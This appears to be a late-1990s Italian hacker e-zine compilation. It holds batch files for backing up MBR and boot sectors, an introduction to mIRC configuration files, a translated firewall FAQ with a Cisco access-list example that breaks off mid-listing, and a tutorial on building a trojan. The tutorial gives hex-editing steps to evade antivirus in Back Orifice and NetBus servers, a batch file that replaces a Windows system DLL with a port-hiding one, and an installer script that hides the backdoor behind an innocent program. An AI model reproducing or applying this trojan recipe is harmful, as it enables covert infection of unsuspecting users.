PAUSE
-------------> CUT HERE <-----------------
a ke servono i REM?
:-P
[RIPRBS.BAT]
-------------> CUT HERE <----------------@ECHO OFF
CLS
ECHO.
ECHO
RIPRISTINO 1° BOOT SECTOR DEL 1° DISCO
C:\STBFP\STB 3 A:\BS1 /R /X
PAUSE
REM
REM
REM
REM
REM
CLS
ECHO.
ECHO
RIPRISTINO 1° BOOT SECTOR DEL 2° DISCO
C:\STBFP\STB 4 A:\BS2 /R /X
PAUSE
REM
CLS
REM
ECHO.
REM
ECHO
RIPRISTINO 1° BOOT SECTOR DEL 3° DISCO
REM
C:\STBFP\STB 5 A:\BS3 /R /X
REM
PAUSE
-------------> CUT HERE <-----------------
Se hai dei dubbi o problemi, ti consiglio di leggere attentamente i file
.doc inclusi nel pakketto dove vengono spiegati i parametri con cui
funzionano questi programmini.
Ricapitolando avrai questi 6 file:
SALVAMBR.BAT
salva tutti gli MBR in C:\STBFP\MBR1, C:\STBFP\MBR2, etc
VERMBR.BAT confronta questi MBR salvati su file con quelli sul tuo HD
RIPRMBR.BAT copia gli MBR salvati su file, nel tuo HD (assume ke si
trovino nel floppy)
SALVABS.BAT salva i Boot Sector dei tuoi HD in C:\STBFP\BS1, etc
VERBS.BAT
confronta questi Boot Sector salvati su file con quelli dell'HD
RIPRBS.BAT copia i Boot Sector salvati su file, nel tuo HD (assume ke si
trovino nel floppy)
Tutto OK sin qui?
Bene!
Ora copia questi 6 file nella cartella in cui si trova il STBFP e verifica
ke tutto funzioni. Meglio farlo prima! :-)
Lancia:
SALVAMBR.BAT
poi
VERMBR.BAT
Se per ogni MBR viene scritto:
Now reading partition and comparing...
Partition read...
Now comparing partition with file...
Partition and file match!
allora è tutto OK.
Vediamo come funzionano i batch per i Boot Sector; lancia:
SALVABS.BAT
poi
VERBS.BAT
Se per ogni Boot Sector viene scritto:
Now reading boot sector and comparing...
Reading first boot sector on drive...
Boot sector read...
Now comparing boot sector with file...
Boot sector and file match!
allora non hai sbagliato un colpo! Bravo! hi hi hiiiiiiii
Ora ke hai tutto non ti resta ke mettere due rikiami nell'AUTOEXEC.BAT in modo
ke ad ogni avvio vengano lanciati i due batch SALVAMBR.BAT e SALVABS.BAT.
Se hai scompattato STBFP in C:\STBFP allora dai questi 2 comandi da DOS per
aggiungere i rikiami giusti nell'AUTOEXEC.BAT:
ECHO CALL C:\STBFP\SALVAMBR.BAT >> C:\AUTOEXEC.BAT
ECHO CALL C:\STBFP\SALVABS.BAT >> C:\AUTOEXEC.BAT
A questo punto se ti si sputtanasse il tuo HD (e basta a grattarti! ti si stanno
arrossando tutti!), recupera SOLO i file ke avevi nella directory C:\STBFP,
copiali
su un floppy formattato con FORMAT /S, riavvia il PC con questo floppy inserito
e lancia i comandi di recupero:
A:\RIPRMBR.BAT
A:\RIPRBS.BAT
incrocia le dita e riavvia il PC!
in kulo alla balena
x
(1) potresti dirmi: "Ma non posso salvare direttamente questi file su un floppy
in modo ke non sono neanke costretto a recuperare quei file dal disco fisso?"
Certo, infatti all'inizio lo farai, ma per esperienza personale, probabilmente
questo floppy non lo aggiornerai spesso, quindi se ti dovesse capitare di
cambiare le partizioni del tuo HD, i dati salvati sul floppy (oramai obsoleti)
sarebbero del tutto inutili, anzi MOLTO PERICOLOSI!
Quello ke poi farai è creare una procedura ke ad ogni avvio del PC salvi i MBR
e i Boot Sector attuali, in modo ke quelli ke andrai a ripristinare saranno
quelli
dell'ULTIMA volta sei riuscito ad avviare il tuo povero PC! ;-D
PS: a questo articolo sono allegati i file batch già pronti ke vanno bene SOLO
se:
1) hai un solo HD fisico
2) STBFP si trova in C:\STBFP
_#_
--------Mirc 5.51
--------Allora vediamo da dove cominciare..
Ecco si...
Un' introduzione non farebbe male.. :-)
Spero che tutti sappiate che cos' è IRC e quindi il client Mirc quindi vedrò di
tralasciare questa parte. Vedremo in questa sezione come creare il vostro script
per Mirc partendo dalla versione base.
Prendete il vostro Mirc 5.51 ed installatelo nel vostro pc a questo punto vi
troverete nella vostra Mirc's directory la seguente configurazione:
Aliases.ini
Ircintro.hlp
Mirc.hlp
Mirc.ini
Mirc32.exe
Mlink32.exe
Popups.ini
Readme.txt
Servers.ini
Urls.ini
Versions.txt
Questo è ciò che apparirà prima di avviare Mirc per la prima volta, una volta
avviato creerà automaticamente 3 subdirectories:
Download
Logs
Sounds
In queste 3 directories, che sono quelle di default ma che potete cambiare
settando quelle che volete attraverso il client Mirc, verranno catalogati i file
ricevuti attravero Mirc in "Download", i logs (ossia tutto ciò che viene scritto
nei canali, chats, query, etc. in cui avete settato il logging) nella directory
"Logs" ed in fine potrete aggiungere voi stessi dei suoni (come per esempio dei
.wav) da far eseguire in determinate condizioni.
Aliases.ini in questo file sono presenti dei stettaggi che permettono di
semplificare i comandi IRC:
[aliases]
n0=/op /mode # +ooo $$1 $2 $3
n1=/dop /mode # -ooo $$1 $2 $3
n2=/j /join #$$1 $2n3=/p /part #
n4=/n /names #$$1
n5=/w /whois $$1
n6=/k /kick # $$1
n7=/q /query $$1
n8=/hop /part # | /join #$$1
n9=/send /dcc send $1 $2
n10=/chat /dcc chat $1
n11=/ping /ctcp $$1 ping
Come possiamo vedere all' inizio del file è presente [aliases] questo identifica
il contenuto del file quando il client legge i suoi valori, in questo modo si
possono anche creare più files con l' intestazione [aliases] ed il client li
interpreterà come fossero un file unico. Il numero di riga è rappresentato da un
nx= dove x è un numero progressivo, successivamente si ha il comando che si vuol
far eseguire a Mirc digitanto un comando abbrevviato, per esempio:
n0=/op /mode # +ooo $$1 $2 $3
Invece che digitare (dopo aver selezionato i vari nicks nella nicklist) il
comando esteso per oppare qualcuno ci si limita a digitare /op ed
automaticamente il client farà eseguire il comando /mode # +ooo $$1 $2 $3 dove #
rappresenta l' attuale canale in cui si è, +ooo il comando di "opping" e $$1 $2
$3 variabili legate hai nicks selezionati (il primo viene sempre identificato
con un doppio $ i sucessivi semplicemente con un $).
Nei 2 files successivi si trovano gli aiuti e le spiegazioni dei vari comandi
IRC e dell' utilizzo del Mirc, il Mirc.exe è il programma client, Mlink32.exe è
un programma che viene lanciato dal browser quando si naviga e si trova un link
IRC per avviare il client.
Popups.ini in questo sono presenti i comandi che creano il vari submenu che sono
presenti nel menu principale "Commands" visibile all' appertura del client e nei
menu del canale,della nicklist, query etc. accessibili premendo il tasto destro
del mouse nelle varie finestre, attraverso i menu si può fare in modo che un un
comando venga attivato premendo un tasto di menu invece che digitandolo:
n0=/op /mode # +ooo $$1 $2 $3
questo sarebbe il comando eseguibile attraverso /op.
n6=.Op:/mode # +ooo $$1 $2 $3
questo il comando che crea un menu in grado di farlo dove il punto sucessivo
all' uguale rappresenta la posizione del menu ed Op il nome del comando sul
menu:
n0=Whois:/whois $$1
n1=Query:/query $$1
n2=UCentral:/uwho $1
n3=n4=Control
n5=.Ignore:/ignore $$1 1
n6=.Unignore:/ignore -r $$1 1
n6=.Op:/mode # +ooo $$1 $2 $3
n7=.Deop:/mode # -ooo $$1 $2 $3
n8=.Kick:/kick # $$1
n9=.Kick (why):/kick # $$1 $$?="Reason for kick:"
n10=.Ban:/ban $$1 2
n11=.Ban, Kick:/kick # $$1 | /ban $$1 2
n12=CTCP
n13=.Ping:/ctcp $$1 ping
n14=.Finger:/ctcp $$1 finger
n15=.Version:/ctcp $$1 version
n16=.Time:/ctcp $$1 time
n17=DCC
n18=.Send:/dcc send $$1
n19=.Chat:/dcc chat $$1
n20=n21=Slap!:/me slaps $$1 around a bit with a large trout
Possiamo vedere che Op (n6=.Op:/mode # +ooo $$1 $2 $3) è un sottomenu del menu
Control (n4=Control). I due punti successivi indicano che il nome da
visualizzare nel meu è terminato e che comincia la procedura da eseguire quando
si preme quel tasto.
N.B. Il menu "Control" non possiede ne i due punti ne un comando prechè ha l'
unica funzione di creare un submenu e ciò viene eseguito automaticamente dal
Mirc senza comandi aggiuntivi.
Il trattino "-" dopo l' uguale rappresenta una linea orizzontale di separazione
che può essere inserita a piacimento tra un menu e quello sucessivo o per
dividere i vari menu per categorie.
Il Popups.ini possiede al suo interno alcuni identificativi che permettono di
assegnare i vari menu a varie finestre:
[cpopup]
sotto questa voce sono presenti i menu che vengono creati premendo il tasto
destro del mouse sulla finestra del canale (dove appaiono le parole scritte).
[bpopup]
questo è il menu principale ossia quello che appare nel menu "Commands" di Mirc
(anche questo nome può essere cambiato).
[mpopup]
sotto questa voce sono presenti i menu che vengono creati premendo il tasto
destro del mouse sulla finestra "Status".
[qpopup]
sotto questa voce sono presenti i menu che vengono creati premendo il tasto
destro del mouse sulla finestra di una"Query".
[lpopup]
sotto questa voce sono presenti i menu che vengono creati premendo il tasto
destro del mouse sulla finestra del canale in corrispondenza dei vari nicks.
Readme.txt ...bè dai tralasciamo il superfluo....
Servers.ini contiene l' elenco dei servers che sono selezionabili dal menu
"File" in "Options" selezionando "connect" del client Mirc:
[servers]
n0=Random US DALnet serverSERVER:irc.dal.net:7000GROUP:01
n1=Random EU DALnet serverSERVER:irc.eu.dal.net:7000GROUP:02
n2=Random US IRCnet serverSERVER:us.ircnet.org:6667GROUP:03
n3=Random EU IRCnet serverSERVER:eu.ircnet.org:6667GROUP:04
n4=Random AU IRCnet serverSERVER:au.ircnet.org:6667GROUP:05
n5=Random US Undernet serverSERVER:us.undernet.org:6667GROUP:06
n6=Random EU Undernet serverSERVER:eu.undernet.org:6667GROUP:07
n7=3Dnet: Random serverSERVER:irc.3dnet.net:6667GROUP:3dnet
..
si presenta con una struttura uguale a quella dei precedenti .ini con l'
intestazione [servers].
Versions.txt anche questo è superfluo... magari leggetelo se volete sapere che
miglioramenti ci sono stati nelel varie versioni.
Mirc.ini il cuore del programma... al suo interno sono presenti comandi,
opzioni, links che servono a far funzionare correttamente il client indicando
dove si trovano i vari files e la loro funzione..
Vediamo voce per voce i vari settaggi (molti sono settabili da client che poi li
scrive in questo file):
[channels]
n0=#AllNiteCafe
n1=#beginner
n2=#cafebleu Home away from home in cyberspace:-)
n3=#casual
n4=#chataway
..
qui sono settati i canali standard che sono accessibili premendo "channels
folder" (tasto situato sotto DCC) sono customizzabili e servono ad un accesso
rapido per alcuni canali.
[files]
addrbk=addrbk.ini
servers=servers.ini
browser=c:\progra~1\intern~1\iexplore.exe
emailer=c:\programmi\outlook express\msimn.exe
finger=finger.txt
urls=urls.ini
è settato dove si trova IE (premendo due volte su un link in canale si apre il
browser), outlook (premendo due volte su un E-mail in canale si apre il
programma), poi c' è la lista dei servers e un' addressbook del mirc, si può
creare un file "finger.txt" che permette di rispondere automaticamente
(settandolo) a chiunque ci faccia un finger ed "urls.ini" che cattura i vari
URLs cliccati.
[warn]
fserve=on
piccolo server FTP incorporato a mirc....
[options]
n0=0,0,0,0,0,0,300,0,0,0,1,0,0,0,0,0,1,0,0,0,512,0,1,0,0,0,1,0
n1=5,50,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,1,1,0,5,0,0,0,0
n2=0,1,0,1,1,1,1,1,0,60,120,0,0,1,1,0,1,1,0,120,20,10,0,1,1,0,0
n3=500,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,3,1,0,1,0,0,0,0,1,1,0,0,0
n4=1,0,1,1,0,3,999,0,0,0,1,0,1024,0,0,99,60,0,0,1,1,1,1,0,1,5000
n5=1,1,1,1,1,1,1,1,1,1,6667,0,0,0,1,0,1,0,300,10,4,0,1,24,0,0,1
n6=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,100,1,1,1,0
meglio non toccarle per evitarsi caasini :-)
[dirs]
logdir=logs\
waves=sounds\
midis=sounds\
dove sono situati alcuni files o dove metterli (nel caso dei logs e dei files
ricevuti).
[about]
show=didi
qui sono inicacate le varie cose del menu "Help" in cui possono essere inseriti
link per altri files di hlp.
[windows]
main=100,600,41,490,0,1,0
le dimensioni della finestra del client mirc
[text]
commandchar=/
linesep=il simbolo di comando "/" e il simbolo di separazione "-" che possono essere
cambiati a piacere.
[dde]
ServerStatus=on
ServiceName=mIRC
indentificazione
[colours]
n0=0,6,4,5,2,3,3,3,3,3,3,1,5,2,6,1,3,2,3,5,1,0,1,0,1
settaggi dei vari colori
[pfiles]
n0=popups.ini
n1=popups.ini
n2=popups.ini
n3=popups.ini
n4=popups.ini
Popups files, cioè dove si trova il fle popups.ini ( n0=pop/popups.ini se fosse
nella subdir "pop"), carica il file popups.ini al caricamento di Mirc.
[ident]
active=yes
userid=_n
system=UNIX
port=113
ciò che viene risposto al server alla sua richiesta di "ident"
[socks]
enabled=no
port=1080
method=4
dccs=no
in caso si utilizzasse un server con firewall possono essere settati i vari
parametri per il tipo di socks la porta etc..
[clicks]
status=/lusers
query=/whois $1
channel=/channel
nicklist=/query $1
notify=/whois $1
cosa eseguire nel caso di doppio click sulla status, o su uan query, etc..
[dragdrop]
n0=*.wav:/sound $1 $2n1=*.*:/dcc send $1 $2s0=*.*:/dcc send $1 $2tipi di Drag&drop (facile no?)
[fileserver]
warning=on
settaggio per i file in arrivo (anti flood se ne vengono inviati oltre un certo
numero da voi fissato).
[dccserver]
n0=0,59,0,0,0,0
per le dcc i vari settaggi.... il 59 rappresenta la porta, molti comandi sono
rappresentati in parallelo e non con comandi successivi:
n0=0,59,0,0,0,0
e non
dccserver=on
port=59
etc..
questo è valido anche per i colori le dimenisioni dell finestre ed altri comandi
come per esempio le [options] viste in precedenza.
[extensions]
n0=defaultEXTDIR:download\
n1=*.wav,*.midEXTDIR:sounds\
le varie estensioni che vengono riconosciute.
[mirc]
user=/n
host=Random US DALnet serverSERVER:irc.dal.net:7000GROUP:01
l' attuale nick ed il server che avete scelto (verranno "ricordati" alla
sucessiva apertura di Mirc).
[afiles]
n0=aliases.ini
i files aliases.ini o comunque tutti i files [aliases].
[rfiles]
n0=remote.ini
n1=remote.ini
i files remote.ini in cui sono settate le varie variabili l' intestazione del
file per le variabili è [variables].
Urls.ini file che contiene i links salvati
E quì si conclude la breve introduzione al Mirc, successivamente si vedrà come
creare, impostare o modificare i vari parametri necessari alla creazione del
nostro script per mirc.
_#_
-----------------------------------------------Installazione "invisibile" del cestino da picnic
-----------------------------------------------by Buttha SPP MeMbeR
Ecco un'applicazione maliziosa di vari strumenti creati dagli
spippolatori.
Questa descrizione serve, ovviamente, a mettervi in guardia:
mai sottovalutare l'ingegno altrui.
Bene, iniziamo con la ricettina.
Ingredienti:
*) stealth installer 2 di Master
*) inetmib1.dll di Devil
*) ingredienti vari dello chef Buttha
Il punto di partenza e' il solito: programma sano da proporre e
backdoor da installare. Il punto di arrivo e' nuovo: confezionare
un trojan diverso dal solito.
Non vi spiego in dettaglio il funzionamento dello stealth installer
e della inetmib1.dll, perche' per questo ci sono le ottime descrizioni
degli autori. Vi spiego, invece, come amalgamare gli ingredienti ed
ottenere un eseguibile mooolto malizioso.
Iniziamo:
prendete il server della vostra backdoor preferita, e preparatelo
seguendo tutti i crismi del caso: sarebbe il caso di ottenere un server
compattato, configurato, e che non crei le dll per il keylogging (i vari
windll.dll, keyhook.dll, ecc...).
Vi spiego, brevemente, come farlo con i server delle due backdoor piu'
famose, per le altre metteteci il vostro ingegno.
back orifice> con un hex editor cercate le ricorrenze della stringa windll.dll
e sostituitela con la stringa NUL. I caratteri rimanenti dovete sostituirli
con caratteri di valore 0, cioe', se scrivete solo NUL ottenete NULdll.dll e
dovete cancellare dll.dll: questo lo dovete fare sostituendo quei byte con dei
byte di valore 0.
L'uso della stringa NUL vi permette di impedire la creazione del file che
serve esclusivamente per il keylogging e che ha la caratteristica di essere
sempre riconosciuto dagli antivirus, anche se il server e' stato compattato.
Fatta questa sostituzione, prendete un compattatore di eseguibili; tempo fa
vi avrei consigliato wwpack32, oggi vi consiglio ASPack (lo trovate qua:
http://www.suddendischarge.com/).
Compattato il server, potete configurarlo con boconfig.
netbus> dovete sostituire, con il solito hex editor, tutte le occorrenze della
stringa keyhook.dll (per la versione 1.7). Compattate, poi, il server, e
configuratelo usando il client.
Diciamo che il server si chiami server.exe (dategli un nome meno esplicito,
io lo chiamo cosi' solo per essere chiaro).
Ora vi serve il file di inizializzazione per la inetmib1.dll di devil.
Tale file si chiama devset.ini. La dll lo genera automaticamente, qualora
non sia stato creato, ma e' meglio che ve ne creiate uno vostro, che contempli
la mascherazione delle porte che userete.
Supponete, per esempio, che la backdoor usera' la porta 45678 e 45679, e che
avete in programma di fare redirezioni o utilizzare la shell dos.
Aggiungiamo, quindi, diciamo due porte: 3333 e 4444.
Il file devset.ini diventa questo:
<---devset.ini--->
1
45678
45679
3333
4444
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
<---taglia qui--->
L'1 dice alla dll di attivarsi (quindi nascondere quelle porte); seguono
20 numeri che indicano le porte da filtrare. Ricordatevi che il formato
deve rimanere questo: gli 0, per le porte non utilizzate, devono rimanere,
per avere esattamente 20 numeri (21 considerando il flag 1 on / 0 off).
Ora dovete crearvi un file batch per l'installazione della dll:
tale file deve rinominare la inetmib1.dll originale in inetmib1.dev e
copiare la dll di devil e devset.ini nella directory di windows.
Bisogna stare attenti a farlo una sola volta: se la inetmib1 maliziosa
e' gia' stata installata, bisogna rendersene conto e non fare alcunche'.
Ecco il file (rn.bat) che fa questo lavoro:
<---rn.bat--->
@echo off
if exist %windir%\inetmib1.dev goto fine
ren %windir%\inetmib1.dll inetmib1.dev
copy inetmib1.dll %windir%\inetmib1.dll
copy devset.ini %windir%\devset.ini
:fine
<---taglia qui--->
A questo punto abbiamo quasi tutto quello che ci serve.
Supponiamo che il programma che proponiamo alla vittima si chiami
programma.exe, che e' l'unica cosa che si vedra' eseguire.
Creiamo un file zip (per es. inst.zip) che contenga i seguenti file:
devset.ini -> file di inizializzazione per la dll di devil
inetmib1.dll -> dll di devil
server.exe -> server della backdoor
rn.bat -> file batch
programma.exe -> l'innocente programma
Resta da scrivere uno script per lo stealth installer che faccia
funzionare tutto il marchingegno:
<---script.si2--->
INIZIO:
CELA: levauz#inst.zip
TOGLI: levauz.exe
NASCONDI: <WINDOWS> server.exe
NASCONDI: <WINDOWS> programma.exe
CELA-: rn.bat
TOGLI: rn.bat
TOGLI: inetmib1.dll
TOGLI: devset.ini
CELA: <WINDOWS>\server.exe
ESEGUI-: <WINDOWS>\programma.exe
TOGLI: <WINDOWS>\programma.exe
FINE.
<---taglia qui--->
che fa le seguenti cose: scompatta il file zip (levauz.exe e' un plug-in
dello stealth installer, che decomprime e cancella uno zip) e cancella
levauz.exe (che non serve piu'); muove nella directory di windows il server
della backdoor e il programma "sano" e manda in esecuzione rn.bat.
CELA- fa in modo di aspettare che l'esecuzione di rn.bat termini, prima di
continuare con l'esecuzione dello script.
Poi si passa alla cancellazione delle prove ;) si cancellano rn.bat,
inetmib1.dll (una sua copia e' gia' stata installata nella directory di
installazione di windows) e devset.ini.
Segue l'esecuzione del server della backdoor (se non si autoinstalla si
puo' sempre aggiungere una chiamata al registro, usando le istruzioni
apposite dello stealth installer).
Poi si manda in esecuzione l'innocente programma e, finita la sua esecuzione,
lo si cancella.
Ok, ora non resta che assemblare tutto questo; il comando e':
assembla levauz.exe inst.zip script.si2
e otteniamo il file installa.exe, che contiene il tutto ("codificato con una
chiave random MOD-OR di lunghezza infinita al fine di renderli invisibili
agli antivirus o agli appassionati degli hex editor").
Non ci resta che rinominare il file dandogli il nome che piu' ci aggrada
e cambiando, eventualmente, l'icona, utilizzando Microangelo.
Bene, ora vi chiedo: simpatico vero?
Avete visto quante cose puo' nascondere un eseguibile?
ciao
Buttha (in un esercizio di SpiPpoLamEntO)
_#_
---------I Firewall
---------[*]Note del traduttore: i plurali di sostantivi inglesi, traducendoli
in italiano, li ho messi nella forma singolare: già dal titolo "i firewall"
al posto del, secondo me, meno corretto in italiano "i firewalls". Che ne
pensa il curatore della revisione?
La traduzione per riuscire scorrevole è stata fatta non alla lettera e chissà
che in un'altra versione non migliori la costruzione di alcune frasi.
Controllerò al più presto i link. Occorrerebbe aggiungerne altri, meglio
se ci fosse qualcosa in italiano ...
Nell'esempio mi sono incasinato di brutto e ha bisogno di una bella
revisione. Gli altri punti per me dubbi sono contrassegnati con ??? ma
ritoccare e fare aggiunte dove il testo sembra carente o poco chiaro
è, ovviamente, ben accetto.
/////////////////////////////////////////////////////////////////////////
Traduzione: ADaM "unno" [email protected]
per SPP (http://www.spippolatori.com)
Revisore (e "integratore"?): __________________
Dati del testo originale in inglese:
This file Has Been Written
By: GBoZ
Of The Cybernetic Techno Ninjas
Tuesday 2/16/99
Descrizione dei contenuti: Il testo contiene una descrizione tecnica per
progettare, scegliere e implementare un firewall
visto dalla parte di un amministratore.
I firewall
1) Che cos'è un firewall?
2) Perchè dovrei volere un firewall?
3) Contro che cosa può proteggere un firewall?
4) Contro che cosa non può proteggere un firewall?
5) Risorse in rete sui firewall
6) Come scegliere un firewall
7) Cosa sono i proxy server e come funzionano
8) Regole logiche di filtraggio per il mio Cisco
9) Come far lavorare DNS e firewall
10) Come far lavorare un FTP attraverso un firewall
11) Come far lavorare un Telnet attraverso un firewall
12) Come far lavorare Finger e whois attraverso un firewall
13) Come far lavorare gopher, archie e altri servizi attraverso un firewall
14) Pubblicazioni su X-Window attraverso un firewall
15) Glossario di termini riferiti ai firewall
1) Che cos'è un firewall?
Un firewall è uno dei tanti modi per proteggere una rete da altre reti di
cui non ci si fida o comunque sconosciute. Il reale meccanismo con cui è
realizzato varia fortemente, ma il principio è che il firewall può essere
pensato come una coppia di meccanismi: uno serve a bloccare il traffico e
l'altro per veicolarlo. Alcuni firewall mettono più enfasi nel bloccarlo,
altri nel permetterlo.
2) Perchè dovrei volere un firewall?
Internet, come ogni altra società, è piena di babbei che sono l'equivalente
elettronico del teppistello che imbratta i muri con lo spray. Alcune persone
cercano di lavorare su Internet e altre hanno dati sensibili o di loro
proprietà da difendere. Un proposito del firewall è tenerci lontano dalla
rete una volta lasciato il lavoro.
Molti enti e centri dati hanno politiche di sicurezza informatica e procedure
che vengono rispettate rigidamente. Il firewall diventa a volte espressione
della politica aziendale di proteggere i dati. Spesso, la parte più ardua
per connettersi ad Internet, se sei una grande azienda, non è giustificare
la spesa o lo sforzo, ma convincere i manager che non ci sono pericoli di
sicurezza. Un firewall provvede non solo alla reale sicurezza, ma gioca
anche un importante ruolo come schermo di sicurezza per il management.
Infine, un firewall può agire come ambasciatore dell'azienda su Internet.
Molte aziende usano i loro firewall come un posto dove mettere informazioni
pubbliche sui prodotti e i servizi dell'azienda, file da scaricare,
correzioni e così via. Molti di questi sistemi stanno avendo importanza per
le strutture di servizi per Internet (ad es.: UUnet.uu.net,
gatekeeper.dec.com) e hanno riflettuto bene sui loro sponsor aziendali.
3) Contro che cosa può proteggere un firewall?
Qualche firewall permette solo il passaggio di email, proteggendo quindi la
rete da attacchi diversi da quelli mirati al servizio di email. Altri
firewall provvedono a una meno stretta protezione e bloccano servizi che
tradizionalmente hanno problemi di sicurezza.
Di solito, i firewall sono configurati per proteggere contro i login non
autenticati dall'esterno. Questo aiuta a prevenire il login di vandali in
macchine della rete. Firewall più complicati bloccano il traffico
dall'esterno all'interno, ma permettono all'utenti interni di comunicare
liberamente con l'esterno. Il firewall ti può proteggere contro qualsiasi
tipo di attacco mediato dalla rete come se fossi disconnesso.
I firewall sono anche importanti perchè possono provvedere a un singolo
punto di blocco dove la sicurezza e il controllo possono essere imposte.
Diversamente, in una situazione in cui un sistema è attaccato da qualcuno
che usa un modem, il firewall può agire come un rubinetto telefonico e uno
strumento di monitoraggio.
4) Contro che cosa non può proteggere un firewall?
I firewall non possono proteggere da attacchi che non vi passano attraverso.
Molte aziende connesse ad Internet sono preoccupate dalla
fuoriscita di dati riservati attraverso qualche via. Sfortunatamente per
questi preoccupati, un nastro magnetico può essere usato per trasportare
dati all'esterno. Le politiche dei firewall devono essere realistiche e
riflettere il livello di sicurezza dell'intera rete. Se un sistema contiene
dati riservati sarebbe meglio non connetterlo al resto della rete.
I firewall non possono proteggere bene da cose come i virus. Un firewall non
può rimpiazzare la coscienza, la consapevolezza e la prudenza dei soi
utenti. In generale, un firewall non può proteggere contro un attacco
guidato di dati, attacchi nei quali qualcosa è postato o copiato
all'interno dell'host dove è eseguito. Questa forma di attacco è avvenuta
nel passato contro varie versioni di Sendmail.
5) Risorse in rete sui firewall
Ftp.greatcircle.com - Firewall mailing list (archivi).
Directory: pub/firewalls
Ftp.tis.com - Internet firewall toolkit and papers.
Directory: pub/firewalls
Research.att.com - Papers on firewalls and breakins.
Directory: dist/internet_security
Net.Tamu.edu - Texas AMU security tools.
Directory: pub/security/TAMU
Le mailing list per i firewall sono forum per amministratori e
implementatori. Per sottoscriverle, manda "subscribe firewalls" nel corpo
del messaggio (non nel soggetto) a "[email protected]".
6) Come scegliere un firewall
Allo sfortunato a cui è affidato il compito toccheranno tante letture. In
generale occorre riflettere il modo in cui l'azienda vuole operare sul
sistema: il firewall esiste per negare esplicitamente tutti i servizi
eccetto quelli critici per cui ci si è connessi alla rete oppure serve per
verificare e controllare i metodi di accesso in modo non minaccioso? Ci
sono diversi gradi di paranoia tra queste posizioni. La configurazione del
tuo firewall sarà effetto più delle tue politiche che delle decisioni
tecniche.
Inoltre, quanto monitorare e controllare? Occorre quindi decidere che cosa
monitorare, permettere e negare. Devi coniugare obbiettivi e analisi del
rischio.
Infine c'è la questione finanziaria: quanto costa comprare e implementare
il sistema. Si va da 200 milioni a soluzioni gratuite. Per ciò che riguarda
le soluzioni gratuite, configurare un Cisco o simili non costerà niente, ma
solo tempo-uomo e caffè. Implmentare un firewall impegnativo costerà molti
mesi-uomo. Bisogna quindi considerare non solo il costo di acquisto ma
anche di supporto nel tempo.
Dal lato tecnico, c'è un paio di decisioni da prendere, basate sul fatto che
per tutti i fini pratici di cui stiamo parlando occorrerebbe un servizio di
routing (instradamento) statico del traffico messo tra il provider della
rete e la rete interna. Il servizio di routing del traffico deve essere
implementato a livello di IP attraverso regole di protezione in un router,
o a livello di applicazione attraverso un proxy che faccia da gateway e dei
servizi.
La decisione da prendere qui è se mettere una macchina che può essere
colpita all'esterno della rete per far girare un proxy per i servizi di
telnet, ftp, news, etc., o se è meglio settare un router difensivo che
faccia da filtro, permettendo comunicazioni con una o più acchine interne.
Ci sono i pro e i contro a entrambi gli approcci, con la macchina proxy
si provvede a un più alto livello di controllo e potenzialmente di
sicurezza contro più alti costi di configurazione e una diminuzione nel
livello di servizi erogati (poichè occorre sviluppare un proxy per ogni
servizio desiderato). La forbice tra facilità d'uso e sicurezza ci
perseguita.
7) Cosa sono i proxy server e come funzionano
Un proxy server (riferito a volte a una applicazione che permette il
passaggio o che spedisce dati) è una applicazione che si occupa del traffico tra
una rete protetta e Internet. I proxy sono spesso usati invece di router
per il controllo del traffico, per non permettere al traffico di passare
direttamente tra le reti. Molti proxy hanno log supplementari o supportano
l'autenticazione dell'utente. Poichè i proxy devono capire quale protocollo
sta per essere usato, possono anche implementare specifici protocolli di
sicurezza (ad es., un proxy FTP potrebbe essere configurabito per
permettere l'FTP in entrata e bloccare l'FTP in uscita).
I proxy server sono applicazioni specifiche. Per supportare un nuovo
protocollo attraverso un proxy, un proxy deve essere sviluppato per quel
protocollo.
SOCKS è un sistema proxy generico che può essere compilato in una
applicazione sul lato client per farlo lavorare attraverso un firewall. Il
vantaggio è che è facile da usare, ma non supporta l'aggiunta di
connessioni con autenticazione o protocolli con logging specifico. Per
maggiori informazioni su SOCKS, cfr ftp.nec.com: /pub/security/socks.cstc
Vedi FILES per una descrizione dei contenuti della directory.
8) Regole logiche di filtraggio per il mio Cisco
Il seguente esempio mostra una possibile configurazione per usare il Cisco
come un router di filtraggio. E' un esempio che mostra l'implementazione di
una specifica linea di condotta. La tua linea di condotta sarà sicuramente
diversa.
In questo esempio, una compagnia ha una Classe B di indirizzi di rete
128.88.0.0 e sta usando 8 bit per le subnet. La connessione Internet è
sulla sottorete rossa 128.88.254.0. Tutte le altre sottoreti sono
considerate di fiducia o sottoreti blu.
+---------------+ +---------------+
| IP provider
| |
Gateway
|
| 128.88.254.1 | | 128.88.254.2 |
+------+--------+ +------+--------+
|
Rete rossa
----------+-----------------+---------------------------------|
+------+--------+
|
Cisco
|
| 128.88.254.3 |
|...............|
| 128.88.1.1
|
+---------------+
|
----------------------------+---------------------------------|
Rete blu
+------+--------+
| mail router
|
| 128.88.1.2
|
+---------------+
Tieni in mente i seguenti punti perchè ti aiuteranno a capire i pezzi della
configurazione:
1. I Cisco applicano i filtri ai soli pacchetti in uscita.
2. Le regole sono testate in ordine e si fermano quando la prima
coppia-condizione-incontro(????) è stata trovata.
3. C'è una implicita regola di rifiuto alla fine di una lista di accesso
(???) che nega ogni cosa.
L'esempio sotto tratta il filtraggio delle porte di una configurazione.
I numeri di linea e la formattazione sono state aggiunte per leggibilità.
Le linee guida per l'implementazione sono:
- Niente non esplicitamente permesso è negato.
- Il traffico tra la macchina esterna che fa da gateway e l'host della rete
blu è permesso.
- I servizi permessi sono originati dala rete blu.
- Permettere un range di porte per la connessione dati in FTP che risale
(???)
alla rete blu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
no ip source-route
!
interface Ethernet 0
ip address 128.88.1.1 255.255.255.0
ip access-group 10
!
interface Ethernet 1
ip address 128.88.254.3 255.255.255.0
ip access-group 11
!
access-list 10 permit ip 128.88.254.2 0.0.0.0
128.88.0.0 0.0.255.255
access-list 10 deny
tcp 0.0.0.0 255.255.255.255
128.88.0.0 0.0.255.255 lt 1025
access-list 10 deny
tcp 0.0.0.0 255.255.255.255
128.88.0.0 0.0.255.255 gt 4999
access-list 10 permit tcp 0.0.0.0 255.255.255.255
128.88.0.0 0.0.255.255
15
16
17
18
Linea
=====
1
!
access-list 11 permit ip 128.88.0.0 0.0.255.255
128.88.254.2 0.0.0.0
